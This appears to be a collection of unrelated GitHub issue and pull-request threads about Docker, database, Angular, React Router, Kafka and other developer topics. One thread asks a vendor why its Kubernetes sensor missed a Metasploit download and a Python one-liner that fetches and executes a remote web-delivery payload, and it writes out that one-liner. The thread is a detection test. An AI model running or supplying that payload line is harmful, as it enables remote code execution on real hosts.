Note about "fake secrets" in non-swarm Docker mode

File: compose/compose-file/index.md
Docker documentation unanimously claims that Docker secrets are available exclusively in swarm mode (i.e. https://docs.docker.com/engine/swarm/secrets/)
However, due to https://github.com/docker/compose/pull/4368 all the defined secrets in docker-compose.yml will become available to the running services even if Docker is running in non-swarm mode.
The mechanism used for exposing the secrets to the services in those two modes is completely different though. In swarm mode the actual Docker secrets mechanism is used. In non-swam mode the "secrets" are just bind mounts to appropriate /run/secrets items.
Could you please add notes to the documentation that make the reader aware of this side effect because it could be really confusing if the documentation keeps insisting on secrets being exclusive to swarm mode, yet they are obviously available in non-swarm mode too through bind mounts.

I wish I knew this, I have to try!


Cannot drop database

Describe the bug
A clear and concise description of what the bug is.
To Reproduce
dev=> create database db;
CREATE_DATABASE
dev=> drop database db;
ERROR:  QueryError: Catalog error: cannot drop database db because schema public depend on it.

Expected behavior
A clear and concise description of what you expected to happen.
Additional context
Add any other context about the problem here.

https://github.com/singularity-data/risingwave/blob/2130124f126d1f959c868e0f388932d7cfa3b11b/e2e_test/ddl/database.slt#L17-L31
We have to drop all schemas before droping the db. Is this expected? 😢 (PG can drop db freely)

There'll be a lot of ignored error of dropping database when running parallel e2e. 😢
All test cases finished in 27965 ms
--
  | + DROP DATABASE ad_ctr_slt;
  | ignore error: db error: ERROR: QueryError: Catalog error: cannot drop database ad_ctr_slt because schema public depend on it
  | + DROP DATABASE append_only_slt;
  | ignore error: db error: ERROR: QueryError: Catalog error: cannot drop database append_only_slt because schema pg_catalog depend on it
  | + DROP DATABASE basic_slt;
  | ignore error: db error: ERROR: QueryError: Catalog error: cannot drop database basic_slt because schema pg_catalog depend on it
  | + DROP DATABASE count_star_slt;
  | ignore error: db error: ERROR: QueryError: Catalog error: cannot drop database count_star_slt because schema public depend on it
  | + DROP DATABASE datagen_slt;
  | ignore error: db error: ERROR: QueryError: Catalog error: cannot drop database datagen_slt because schema public depend on it
  | + DROP DATABASE ecommerce_slt;
  | ignore error: db error: ERROR: QueryError: Catalog error: cannot drop database ecommerce_slt because schema public depend on it
  | + DROP DATABASE extreme_null_slt;
  | ignore error: db error: ERROR: QueryError: Catalog error: cannot drop database extreme_null_slt because schema pg_catalog depend on it
  | + DROP DATABASE index_slt;
  | ignore error: db error: ERROR: QueryError: Catalog error: cannot drop database index_slt because schema pg_catalog depend on it
  | + DROP DATABASE join_3way_slt;
  | ignore error: db error: ERROR: QueryError: Catalog error: cannot drop database join_3way_slt because schema pg_catalog depend on it

cc @yezizp2012 @HuaHuaY Could you please help to take a look? ❤

https://github.com/singularity-data/risingwave/blob/2130124f126d1f959c868e0f388932d7cfa3b11b/e2e_test/ddl/database.slt#L17-L31
We have to drop all schemas before droping the db. Is this expected? 😢 (PG can drop db freely)

It's expected now. May be modified in the future.

Currently to drop database requires dropping all exist schemas except pg_catalog(the error msg is not well handled as we can see in the logs Cc @HuaHuaY ). This's not compatible with PostgreSQL. I'm not sure whether we should follow pg's behavior or not. Because this's much more complicated in risingwave, we should drop all tables/sources under every schemas recursively in current implementation(drop catalog, inject ddl barrier etc), I'm afraid we might have some inconsistencies if some of the drop operations fails.
Well, I think we might need some batch interfaces for both catalog and barrier command: 1. drop database support batch drop tables/sources/schemas recursively in a transactional interface; 2. support barrier command with multi tables 3. support batch drop sources in CN. Besides, we still need some other mechanism to clean dirty data, mainly the TableFragments if table already dropped in catalog. Cc @HuaHuaY

I'm afraid we might have some inconsistencies if some of the drop operations fails.

What if we rename the database to make its name available first, and then drop the related resources in the background asynchronously?


Push a path with hash won't trigger CSS :target selector

Say I have an HTML element with an id as follows:
<div id="some-hash" />

I'd like to add some styles to the div with CSS :target selector when it is clicked:
:target {
  background: yellow;
}

However, If I push a new path with hash to history object as follows, :target selector won't be triggered on the div:
history.push('/page#some-hash')

If I just change the URL, :target selector works perfectly:
window.location.href = 'page#some-hash'

I checked the source and it calls window.history.pushState with the new URL when history API is available, which doesn't seem to trigger the :targer selector.
I am wondering if there is a way to solve or workaround this problem? Thanks in advance.

According to this thread [0] (and some others that it links to), this behavior is consistent across all browsers. The fact that clicking the browser's back/forward buttons will trigger an update of the :target element sounds like this is definitely a bug and not the desired behavior. If not a bug, then it is at least poorly defined behavior. Unfortunately, this does not seem like it will get changed any time soon and I don't think that there is a good way to get around this.
While not a satisfying solution, the way that I would approach this would be to:

Listen for location changes
Check if the new location object has a hash property
If it does, check if there is a DOM node with that id
If an element with the id exists, give it a target class to style it

There are also potential timing issues with this where you would need to delay this until after you are sure that your DOM has rendered. As I said above, this isn't nearly as convenient as :target, but it seems to be all that you can really do right now :man_shrugging:
[0] https://bugs.chromium.org/p/chromium/issues/detail?id=89165

@pshrmn Thanks for your super quick response!
Actually, I found this weird behavior when using Link component from React Router.
I found a way to work around this for now:
<Link
  to='/page#some-hash'
  onClick={() =>
    window.location.hash = '#some-hash'
  }
/>

It will trigger :target selector for anchors in the same page. (Haven't tested it thoroughly.)
I will try your suggestion for anchors across pages. Thanks.


Don't block startup on provider api availability

Smapp should not block on starutp with the loading modal screen until the api is available from the current api provider (local node or remote api).
It should load using cached data for the unlocked wallet and display any locally cached data it has while it attempts to check api health in the background.
The app should periodically check for api health in the background and if api is not available after several attempts then it should display an error in the network screen and if the provider is a local node, present and enable the restart node button.
When a user clicks on a button that triggers a command that requires api usage and the api is not available, Smapp should display a modal error regarding no available api and not try to execute the operation that requires an api method.
The number of attempts and the period duration for the health check should be app constants and should be set to consider up to 1 minute of api being unavailable from local node due to slow warmup.

This is for long-term smapp discussion and not for 0.2

@brusherru - what's been implemented as of v0.2.3 of the above requirements?

First two paragraphs still not implemented yet. However, in case if no network / api is available we can skip it without any additional waiting time.
Implementing it should not be a complicated but most likely it will require some refactoring.

Not actual. We're not blocking anymore :)


Add db port entry into env file.

I think it's good to have db port entry in the env file so we don't have to touch the Database.config file to change the port number.

Thank you for contributing.
You can add port or any propertiy in Config classes to your own .env.
Why do we need to add it env?

I think the port setting entry is equelly important as other database-related entries in the env file like hostname, database, etc... Because any database connection requires hostname, database, username, password and port number. And even DSN records also include the port number.
Of course we can add it manully into the .env file. But it's convenient if that setting in the env file by default. So we don't have to do it manually.

I don't have a preference. Our example env file is intentionally not comprehensive but this seems to be the only missing database configuration field missing for a typical connection.

I don't have a preference. Our example env file is intentionally not comprehensive but this seems to be the only missing database configuration field missing for a typical connection. I'd actually argue port is more likely to be changed that DBPrefix.

For me having DBPrefix also very useful in the env file.


ng build --prod crashes at 10%

Bug Report or Feature Request (mark with an x)
- [x] bug report -> please search issues before submitting
- [ ] feature request

Versions.

Angular CLI: 1.5.0
Node: 8.7.0
OS: darwin x64
Angular: 5.0.1
... animations, common, compiler, compiler-cli, core, forms
... http, platform-browser, platform-browser-dynamic, router

@angular/cdk: 5.0.0-rc0
@angular/cli: 1.5.0
@angular/material: 5.0.0-rc0
@angular-devkit/build-optimizer: 0.0.32
@angular-devkit/core: 0.0.20
@angular-devkit/schematics: 0.0.35
@ngtools/json-schema: 1.1.0
@ngtools/webpack: 1.8.0
@schematics/angular: 0.1.2
typescript: 2.6.1
webpack: 3.8.1

Repro steps.

ng build --prod crashes at the following stage:
10% building modules 7/7 modules 0 active
process just exists with no error
The log given by the failure.

Desired functionality.

Mention any other details that might be useful.

:+1:
Seeing same issue, works without --prod flag. Only log seen is:
10% building modules 4/4 modules 0 active

Project: https://github.com/terrandominion/app.angular.cli.ts
Travis log: https://s3.amazonaws.com/archive.travis-ci.org/jobs/299854705/log.txt?X-Amz-Expires=30&X-Amz-Date=20171109T224002Z&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAJRYRXRSVGNKPKO5A/20171109/us-east-1/s3/aws4_request&X-Amz-SignedHeaders=host&X-Amz-Signature=34b9c131c89a68b5d7797fa32fd54c7d80f6e69e2768b22a683fb2b613f5ef5c

@kuwas thank you, i thought i was the only one experiencing this, couldn't find any record of this behavior online.
Please let me know if you find a solution, i'll do the same.

For me also sometimes it takes more than 1hr it ill crashes at 92%

Got this issue some days ago with the v1.5.0. It comes from a directory containing a ".". In my case it was a typo, i created a directory component.ts..

@PillowPillow thank you so much for your answer.
I have many directories containing dots in them such as event-snooze.component.
It's a convention i was exposed to a while ago.
Are you saying this i what's causing the problem?
Anyone from the Angular team that can confirm?

I'm not saying that's not a bug of the new version, this should fixed asap but yes it seems that using dot in directory break the current build process. You can try easily by creating a new project with a "dot directory".  I had to implement one by one all my modules & components to found this issue ^^'.

@PillowPillow i just tested it and it works.
Created a new project. Added a "dot directory", imported the component inside it, build works.
Any idea why that could be?

Erf, your issue is surely related but it seems that directories with dots works if the part after the dot isn't an extension.

@PillowPillow but for me it takes more than 1 hr to build or it will stops at 92% , is there any solution for that, In V1.4.1 it was taking max of 5 to 10 min

@PillowPillow i cannot thank you enough!
Found two rouge folders that ended with .ts and once renaming them project builds again!
You are a life saver!

@praveenbm9321 for me the optimization at 92% takes 5 minutes now but before it used to be seconds. Probably depends on the machine and project size but i can tell that something changed there for the worse.
Maybe you should open an issue on that?

@eyalhakim For me also optimization at 92% takse 2 to 3 minutes only but it stucks at 92% and sometime it completes or stops there itself.But before it use complete build withing 5 to 10 min

@praveenbm9321 try running it with --build-optimizer=false

It doesnt actually have to be a directory inside the project with a period name. In my case the project root directory itself had periods in its name app.angular.cli.ts, so that broke the build too. Renaming the entire project seems to work.
Regardless, period names are perfectly valid directories and should build. This is definitely something that should be fixed.

I lost 3 days to fix this same issue.

Just to chime in here, I am still seeing an issue with my project build hanging at:
10% building modules 7/7 modules 0 active
This happens anytime I am using --aot, regardless of the environment. I have checked that none of my project folder have dots in them, and that my main project folder doesn't contain a dot. None do. (There are some dot folders in node_modules, but I obviously have limited control over third-party packages like that.)
I have rolled back to every version of angular-cli since 1.5.0 to see if any work, and I simply can't build using --aot at all.
`
ngular CLI: 1.7.4
Node: 8.9.1
OS: darwin x64
Angular: 5.2.10
... animations, common, compiler, compiler-cli, core, forms
... http, language-service, platform-browser
... platform-browser-dynamic, router
@angular/cli: 1.7.4
@angular-devkit/build-optimizer: 0.3.2
@angular-devkit/core: 0.3.2
@angular-devkit/schematics: 0.3.2
@ngtools/json-schema: 1.2.0
@ngtools/webpack: 1.10.2
@schematics/angular: 0.3.2
@schematics/package-update: 0.3.2
typescript-formatter: 5.2.0
typescript: 2.5.3
webpack: 3.11.0
`

I face a segmentation fault quite often, but I'm unable to outline the exact reproducing steps.
92% chunk asset optimization TerserPlugin./build.sh: line 16:  3555 Segmentation fault: 11  ng build --prod
Response code: 139

But executing ng build --prod again fixes the problem. I face this issue too randomly.


Use tinyvec for actor id

Most of the time users will not be using their own identifiers and so
use random uuids. These can fit nicely on the stack for a speedup.
TinyVec allows us to capture this mostly stack, sometimes heap
behaviour.

Have you measured the impact on performance?

@orionz I'm seeing about a 7-11% improvement on the B1 benchmarks compared to main

I'm happy to merge this once conflicts are fixed. I'll wait until the conflicts are fixed to mark it as approved though or my approval will get dismissed by the updates.

I'll wait on https://github.com/Lokathor/tinyvec/pull/146 to work on this as we should still retain the arbitrary functionality.

My TinyVec PR got merged so I've updated this PR to use the git version.


[core] Remove unnecessary conditional around .muiName =

This was added in #42001. Why?

It could be a use case for https://github.com/mui/pigment-css/issues/84. I have tried to apply this change with https://github.com/mui/material-ui/tree/4bcf32bbb8db43c5fe8c52d300116af00aae40d1/examples/material-ui-pigment-css-vite-ts (and found #44074 along the way), it seems to work fine. A big 💯 to move forward. If this brand is needed, then muiName isn't applied, then it's broken, so in any cases, we can't have this branch.

Yep, also found that adding .displayName to a component breaks pigment.

I can confirm that it was added during the migration of Pigment CSS, because otherwise it breaks Pigment CSS. @brijeshb42 can likely share more info on why (or @siriwatknp as he was mainly driving the migration).

It is fine to remove now since we added a fix in the Pigment transform itself.

Does the fix apply to .displayName as well? It seems to break pigment in https://github.com/mui/material-ui/pull/44067

There is also defaultProps, and Toolpad is also attaching a static (Symbol) property to the component. I've seen other tools rely on similar patterns. Would it be possible to support just any static property?

Sorry for the delay, this PR got buried. @brijeshb42 can you confirm if we can merge this one?

Nice

https://tools-public.mui.com/prod/pages/bundleSizes?circleCIBuildNumber=780755&baseRef=master&baseCommit=cef5e6cd7af197c835acb3b1a37733f7e82902f2&prNumber=44071


Add shelves

I got fed up of not having records of which books are where, so I've added support for shelves.
Hope this is useful!
What it does
A shelf can be set for a book when it's not out on loan.
When a book is returned from loan, the shelf is also specified.
A record of the shelf which the book is returned to is kept in the
loans table.
(See screenshots)
Default data
Two shelves will be created by the default migration:

'Third floor'
'Sixth floor'

(I realise this might be annoying if people outside of GDS are using this app, happy to remove the default data from the migration if that would be preferred).
Tweaks/cleanups
I also did a few tweaks/cleanups:

relax ruby version constraint in Gemfile
remove dependency on capybara-webkit
allow DB config to be overridden by env vars

And one bugfix:

if a book isn't found by ISBN search, show a nice error message instead of crashing

Screenshots
Option to set the shelf for an existing book

Editing the shelf

Returning a book that's on loan

Viewing the loan history

Thanks David, this is very useful! It's a feature I wanted to add at some point, but hadn't got round to it yet.

(I realise this might be annoying if people outside of GDS are using this app, happy to remove the default data from the migration if that would be preferred).

I don't think anyone outside of GDS is using this fork of it.

I think there are some books on 7th too, but I can always add a new migration later when I've worked out whether there are or not! We need to do an audit of all the books anyway, which is something I've delegated that to the learning and development people in the People Team (hence adding CSV export).

I'll merge this on Monday, if that's OK? Then I can test whether it works or not and if so deploy it straight away.

I don't think anyone outside of GDS is using this fork of it.

I saw that there's a fork on alphagov as well. I wasn't sure which one is actually in use. Assumed it was your one since it newer commits?
Out of curiosity do you know whether any other organisations have used it?

I think there are some books on 7th too

yeah, I wasn't sure about that

I'll merge this on Monday, if that's OK?

yes, great! No rush!


Update build.gradle

Small fix, fixing error for new version of android. Changing compile for implementation, and testcompile for testImplementation.
Thanks for submitting a PR! Please read these instructions carefully:

[ ] Explain the motivation for making this change.
Helping the community like they help me.
[ ] Provide a test plan demonstrating that the code is solid.
Testing in Mac Os x Sierra.

Motivation (required)
What existing problem does the pull request solve?
Error when build the proyect.
WARNING: Configuration 'compile' is obsolete and has been replaced with 'implementation' and 'api'.

Hey @furrutiaunicode! Thanks for the PR, I just merged a similar one so I'll close this.


systemd-sysctl seems to run too early

Issue description
systemd-sysctl seems to run too early when some settings are not yet available to be set
Perhaps it should be re-run again after network.target
Steps to reproduce
    configuration = { config, pkgs, lib, options, modulesPath }: {
      networking.useDHCP = true;
      networking.firewall.enable = true;
      networking.enableIPv6 = false;
      environment.noXlibs = true;
      boot.kernel.sysctl."net.netfilter.nf_conntrack_max" = 2000000;
    };

This exact issue (with conntrack) can be worked around with
boot.kernelModules = [ "nf_conntrack_ipv4" ]
                  ++ lib.optional networking.enableIPv6 "nf_conntrack_ipv6";

forcing  to load the kernel modules before systemd-sysctl

I stumbled upon the same issue trying to set:
net.bridge.bridge-nf-call-arptables = 0
net.bridge.bridge-nf-call-ip6tables = 0
net.bridge.bridge-nf-call-iptables = 0

They do not get applied during boot. Manually seting them again after the system booted works.


Fix bug in Changelog URL path using packageDirectoryName

This fix ensure that ChangelogUrl is correct for JS (as well as Java, Python, and dotnet)

The following pipelines have been queued for testing:java - templatejava - template - testsjs - templatenet - templatenet - template - testspython - templatepython - template - tests You can sign off on the approval gate to test the release stage of each pipeline. See eng/common workflow

/check-enforcer override


WebDataset/IterableDataset as input for distributed training

Is DeepSpeed compatible with IterableDatasets / WebDataset?
If yes, what input / parameters are required?
see also in my other issue: https://github.com/webdataset/webdataset/issues/81

You can just use your own DataLoader without having the need to use the one from DeepSpeed! Solved.


Move struct declaration to the proper modules.

Right now, most of the structs are implemented in the root module (lib.rs), despite the fact their methods are implemented in other modules (like, say, hex). The only rationale I can think of for doing this is so that they are visible at the crate top level (i.e. sodg::Hex).
There is a more idiomatic way to do this. First, we declare the structure in its module (i.e. Hex in hex). The, in the lib.rs we write pub use hex::Hex; to re-export the struct at the top level.
I propose we do that for all the structs declared in lib.rs which have method implementations in another module.

@UARTman I agree, let's do it


Automatic error report

What steps will reproduce the problem?

Select Preferences
Change Syntax coloring
Change IPython console
Click "ok"

Error messages
File "/Users/username/anaconda3/lib/python3.6/site-packages/spyder/plugins/configdialog.py", line 214, in accept
configpage.apply_changes()
File "/Users/username/anaconda3/lib/python3.6/site-packages/spyder/plugins/configdialog.py", line 104, in apply_changes
self.apply_callback()
File "/Users/username/anaconda3/lib/python3.6/site-packages/spyder/plugins/configdialog.py", line 269, in
self.apply_settings(self.changed_options))
File "/Users/username/anaconda3/lib/python3.6/site-packages/spyder/plugins/configdialog.py", line 1187, in apply_settings
self.main.help.apply_plugin_settings(['color_scheme_name'])
File "/Users/username/anaconda3/lib/python3.6/site-packages/spyder/plugins/help.py", line 552, in apply_plugin_settings
self.editor.apply_plugin_settings(options=[connect_n])
AttributeError: 'NoneType' object has no attribute 'apply_plugin_settings'

Thanks for reporting. This error is a duplicate of #6519 , which we've already fixed on our end and will be released with the next Spyder version 3.2.8, due out soon.


Sensor detection of malicious tools

Hello,
I deployed all latest sensors as daemonset on GCP managed kubernetes cluster and Falcon agent as well.
However - no malicious actions were detected.
Example - when I download Metasploit on my laptop - CS agent on laptop detect this and raises alert.
However when I do the same within the pod in the cluster where sensors are running - nothing is detected.
Is the Kubernetes  sensor able to detect reverse shell attempts, downloading malware, downloading metasploit the pod?
I executed following in the pod:
$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall && chmod 755 /tmp/msfinstall && /tmp/msfinstall
$ /opt/metasploit-framework/bin/msfconsole

To addition I also did some reverse shell that succeeded:
python3 -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://<IP_ADDRESS>:9089/web_delivery', context=ssl._create_unverified_context());exec(r.read());"

None of that was detected. All admission controller policies are configured to alert on ALL events. Also Container Drift is enabled.
Any help would be appriciated!
Thank you!

Hello,
This is not the place to get sensor support. Please open a ticket with CrowdStrike support.


fixed staging regression failures due to ROO chnages

Jira link
https://transformuk.atlassian.net/browse/HOTT-4845
HOTT-<4845>
What?
I have added/removed/altered:
updated the data as per the new changes for ROO IS#rules-of-origin
708-RoO-e2e-WO-SuffPro-ProdSpecRules.cy.js
rooCommands.js
Why?
To fix the staging regression failures due to data changes for IS#rules-of-origin and make sure the build always green

Changes are as expected!
Wording was updated for RoO Iceland-Norway.json ruleset chapter 61 (see before and after screenshots) and Verification.md article references have also updated from 33 & 33 to 19 (also see screenshot).
Chapter 61 Before

Chapter 61 After

verification.md diffs


RSDK 1943 Add DoCommand to all service protos

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Manual testing

It would be good to do some manual tests on the plots to make sure that the outputted results are what we expect

Seems to work fine for when there are no peripheries, as long as the array inputs are given as empty sets []

Code allows rates of 0 but only volumes > 0

number_peripheries not necessary as we input arrays. Could alternatively check to see if both list lengths are the same.
Not highest priority so just a suggestion


Add a spec for rb_Hash

I took HAVE_RB_HASH2 as the macro name as HAVE_RB_HASH is already used by rb_hash, but I'm not sure it is the right name…

Good question, I am not sure this conflict happened before.
I don't have an idea for a better name so let's use that.
Thanks for the new spec!


Demo broken

In Firefox 57 I get ReferenceError: assignment to undeclared variable control index.js:21:19 when I load the demo

Hi @eutampieri !
Thank you for the heads up, I've fixed it. It should be ok now.
If you still notice this issue, please try a hard refresh.


Build the wheels and set version via environment variable

Build the sdk inside docker with the correct libraries installed, add linting and add both to Github workflows.
Also includes a manual workflow trigger

@tarqu1n  unfortunately failing on lint still:
 ./zegami_sdk/client.py:58:9: E722 do not use bare 'except'
./zegami_sdk/collection.py:14:1: F401 '.annotation._Annotation' imported but unused
./zegami_sdk/collection.py:166:9: E722 do not use bare 'except'
./zegami_sdk/collection.py:169:13: E722 do not use bare 'except'
./zegami_sdk/annotation.py:184:9: F841 local variable 'arr' is assigned to but never used
./examples/add_annotation_score.py:19:56: W291 trailing whitespace

Think this can be merged with the failing lint, that can be cleaned up in another PR.

I'm currently fixing up all of the linting. If we land that first, hopefully this one can turn green.

https://github.com/zegami/zegami-python-sdk/pull/32

I fixed the final lint problems anyway :)


Support compressed file in sitemap

Hi,
Some websites use compressed files in the sitemap instead of .xml files.
for example consider this sitemap:  https://www.digikala.com/sitemap.xml.  As You can see the sitemap contains some .gz files.
It is very nice if this project supports this types of sitemaps.
Thanks

Hey @YazdanJahedi - the library does support compressed sitemaps as long as there is appropriate content types returned by the server.
See: https://github.com/TurnerSoftware/SitemapTools/blob/4ac4cdbe4f09081fb6753e5c26f7a936600aa9cb/src/TurnerSoftware.SitemapTools/SitemapQuery.cs#L134C1-L136C95


FYI on configuring the threading model

Just wanted to let you know I cited this project in https://gcc.gnu.org/pipermail/gcc-patches/2021-August/577707.html . Thanks for the good work with this!

out of curiosity, which possible values can be passed to --with-threads= using your patch? i only see "single" listed there.


Add boardgame provider

Data taken from boardgamegeek.com and recommend.games

This should probably be an Entertainment provider

For Entertainment, I wasn't sure if it belonged there, since only movies are listed there so far.

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 91.89%. Comparing base (b37c566) to head (c0ee818).
Report is 152 commits behind head on main.

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@             Coverage Diff              @@
##               main    #1251      +/-   ##
============================================
- Coverage     92.35%   91.89%   -0.47%
- Complexity     2821     3033     +212
============================================
  Files           292      309      +17
  Lines          5609     5932     +323
  Branches        599      622      +23
============================================
+ Hits           5180     5451     +271
- Misses          275      321      +46
- Partials        154      160       +6

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

Hi @jensGiehl , thanks for this contribution! Looks great, and thanks for addressing the review comments!

Geez you were quick. I read the comment about Entertainment and went and look, I almost told you that you merged to quickly and that there was already a Boardgame provider, then I realized the file I was looking at was only 2 minutes old 🤣


New package: PsychoJL v0.1.0

Registering package: PsychoJL
Repository: https://github.com/mpeters2/PsychoJL.jl
Created by: @mpeters2
Version: v0.1.0
Commit: 4a36f7c5d7f86f5bfa486764c347f6499d741921
Reviewed by: @mpeters2
Reference: https://github.com/mpeters2/PsychoJL.jl/issues/12#issuecomment-1925446406
Description: API for writing Psychology Experiments

[noblock] The name is fine

I disagree. I think that

PsychoJL is a module for writing psychology and psychophysics experiments. The general framework and style is inspired by PsychoPy, but there has been no collaboration with the authors of PsychoPy.

Does not warrant including JL in the name PsychoJL.jl. Julia and Python have different package naming conventions. Most notably in this case, all Julia names are already suffixed by .jl.
Given the description of the repo is

API for writing Psychology Experiments

I would recommend the name PsychologyExperiments.jl because that way anyone who sees the package name immediately knows that it is a Julia package for physiology experiments (whereas, for example, if it is named PsychoJL.jl, someone seeing the name wouldn't know if it is for experiments or if it is targeted at modeling psychological states directly, at embedding human psychology in AI, or supporting academic instruction in psychology, etc.). To get a more accurate picture one would still need to read the manual, but it's nice to give folks as much as possible to wrkr off of at a glance.
Iff psychophysics is central to the package and is not a type of psychology, then it would imo make sense to abbreviate to PsychoExperiments.jl.

Fair enough. Not my call, ultimately :-)


Empty kafka message leads data lost in routine load

Steps to reproduce the behavior (Required)

Create table

CREATE TABLE `tbl_simple` ( `key1` int(11) NULL COMMENT "", `key2` int(11) NULL COMMENT "" ) ENGINE=OLAP duplicate KEY(`key1`) COMMENT "OLAP" DISTRIBUTED BY HASH(`key1`) BUCKETS 3 PROPERTIES ( "replication_num" = "1", "in_memory" = "false", "storage_format" = "DEFAULT" );

Prepare data
The sample data contains 20 valid json message and a empty message.

{"key1":1,"key2":2}
{"key1":1,"key2":2}
{"key1":1,"key2":2}
{"key1":1,"key2":2}
{"key1":1,"key2":2}
{"key1":1,"key2":2}
{"key1":1,"key2":2}
{"key1":1,"key2":2}
{"key1":1,"key2":2}
{"key1":1,"key2":2}

{"key1":1,"key2":2}
{"key1":1,"key2":2}
{"key1":1,"key2":2}
{"key1":1,"key2":2}
{"key1":1,"key2":2}
{"key1":1,"key2":2}
{"key1":1,"key2":2}
{"key1":1,"key2":2}
{"key1":1,"key2":2}
{"key1":1,"key2":2}

Create routine load

CREATE ROUTINE LOAD rl_simple ON tbl_simple COLUMNS (key1, key2) PROPERTIES ( "format" = "json", "strip_outer_array"="false", "jsonpaths"="[\"$.key1\", \"$.key2\"]" ) FROM KAFKA ( "kafka_broker_list" = "xxx", "kafka_topic" = "topic_simple", "kafka_partitions" = "0", "kafka_offsets" = "OFFSET_BEGINNING" );

Expected behavior (Required)
All messges are inserted.
mysql> show routine load for rl_simple\G;
*************************** 1. row ***************************
                  Id: 74032
                Name: rl_simple
          CreateTime: 2022-07-11 16:29:46
           PauseTime: NULL
             EndTime: NULL
              DbName: default_cluster:db0
           TableName: tbl_simple
               State: RUNNING
      DataSourceType: KAFKA
      CurrentTaskNum: 1
       JobProperties: {"partitions":"*","columnToColumnExpr":"key1,key2","maxBatchIntervalS":"10","whereExpr":"*","dataFormat":"json","timezone":"Asia/Shanghai","format":"json","json_root":"","strict_mode":"false","jsonpaths":"[\"$.key1\", \"$.key2\"]","desireTaskConcurrentNum":"5","maxErrorNum":"0","strip_outer_array":"false","currentTaskConcurrentNum":"1","maxBatchRows":"200000"}
DataSourceProperties: {"topic":"topic_blank","currentKafkaPartitions":"0","brokerList":"<IP_ADDRESS>:9092"}
    CustomProperties: {}
           Statistic: {"receivedBytes":380,"errorRows":0,"committedTaskNum":1,"loadedRows":20,"loadRowsRate":0,"abortedTaskNum":0,"totalRows":20,"unselectedRows":0,"receivedBytesRate":0,"taskExecuteTimeMs":3009}
            Progress: {"0":"20"}
ReasonOfStateChanged:
        ErrorLogUrls:
            OtherMsg:
1 row in set (0.00 sec)

ERROR:
No query specified

mysql> select count(*) from tbl_simple;
+----------+
| count(*) |
+----------+
|       20 |
+----------+
1 row in set (0.00 sec)

Real behavior (Required)
Some messages behind the empty message may be skipped.
                  Id: 74024
                Name: rl_simple
          CreateTime: 2022-07-11 16:21:25
           PauseTime: NULL
             EndTime: NULL
              DbName: default_cluster:db0
           TableName: tbl_simple
               State: RUNNING
      DataSourceType: KAFKA
      CurrentTaskNum: 1
       JobProperties: {"partitions":"*","columnToColumnExpr":"key1,key2","maxBatchIntervalS":"10","whereExpr":"*","dataFormat":"json","timezone":"Asia/Shanghai","format":"json","json_root":"","strict_mode":"false","jsonpaths":"[\"$.key1\", \"$.key2\"]","desireTaskConcurrentNum":"5","maxErrorNum":"0","strip_outer_array":"false","currentTaskConcurrentNum":"1","maxBatchRows":"200000"}
DataSourceProperties: {"topic":"topic_blank","currentKafkaPartitions":"0","brokerList":"<IP_ADDRESS>:9092"}
    CustomProperties: {}
           Statistic: {"receivedBytes":380,"errorRows":0,"committedTaskNum":1,"loadedRows":10,"loadRowsRate":0,"abortedTaskNum":0,"totalRows":10,"unselectedRows":0,"receivedBytesRate":0,"taskExecuteTimeMs":3002}
            Progress: {"0":"20"}
ReasonOfStateChanged:
        ErrorLogUrls:
            OtherMsg:
2 rows in set (0.01 sec)

ERROR:
No query specified

mysql> select count(*) from tbl_simple;
+----------+
| count(*) |
+----------+
|       10 |
+----------+
1 row in set (0.01 sec)

StarRocks version (Required)
2.0.7

@rickif If this issue is resolved, you could closed it.
And , Is there any problems with other versions? such as 2.1.x, 2.2.x ?


Update code_schools.yaml with manual data search

Improvement
Why is this improvement being suggested?
I noticed that Galvanize is missing some locations, there may be other code schools with new locations or other out-of-date details.
What would your improvement do?
By updating code_schools.yaml with up-to-date information, we can ensure that our audience is receiving correct information.

I'm a first time contributor and I'd like to grab this. What's the protocol for that?

@lennonc
Firstly, thank you for wanting to pick up this task!
You can start by examining the current code_schools.yaml file under config/ at the top level of the repository (located here).
Instructions for relevant data is commented within the first few lines of code_schools.yaml
Instructions

In your command line interface (CLI), go to the file path in which you'd like to put this repository (Desktop for example).
Use git clone https://github.com/OperationCode/operationcode_backend.git in your CLI.
Use git checkout -b update-code-schools-data to create and checkout a new branch.
Go into the repository, go into config/, and open code_schools.yaml with your favorite text editor.
You should comb the file's current data, check out the school's website, and verify the data through any means necessary (Google Maps, Google Search, and/or calling the Code School).
If there is a discrepancy (out-of-date information on code_schools.yaml), make an edit locally.
Once you've finished combing the entire file and made all of your fixes, use the following commands on your repository:

git add *
git commit -m "resolve #36"
git push -u origin update-code-schools-data

Come back to GitHub and create a Pull Request 💃

Some standards to remember:

For address, please use abbreviated cardinal directions (SW, NE, W, etc.)
For address, please use unabbreviated road types (road, not Rd. & street, not St.)

@kylemh - I'm thinking here we'd want to:

create a new CodeSchool db table
CRUD API endpoints for CodeSchool records
rake task that creates a CodeSchool record for each entry in code_schools.yml
wiring up the existing :index endpoint to fetch CodeSchool db records
test coverage for new endpoints
update our API documentation

Si?

This is blocked by #99 #106 and #107

Hi @kylemh, is this issue still available? I'm a first time contributor, and was hoping I could tackle this one for Hacktoberfest.

@benJervis Please feel free! It's simple busy work. You'll just scour the websites currently in that yaml file, and make sure the info is up-to-date. I'd also appreciate you adding an email field to every school because that will help us with https://github.com/OperationCode/operationcode_frontend/issues/364
Be wary @hpjaj that I'm asking for a model change!

@kylemh, I'm all done and trying to create a PR, following your instructions in that comment from June, but I don't have permission to push to the remote. Should I have forked it instead?

@benJervis looks like you figured it out. The answer is yes.
I'm very sorry for those incorrect instructions. Back when I made them this repo was organizers only, and as members of OC we have the ability to clone and make PRs from our own clones.


fix: dockerImage was undefined.

This was due to the options.dockerImage being mispelled

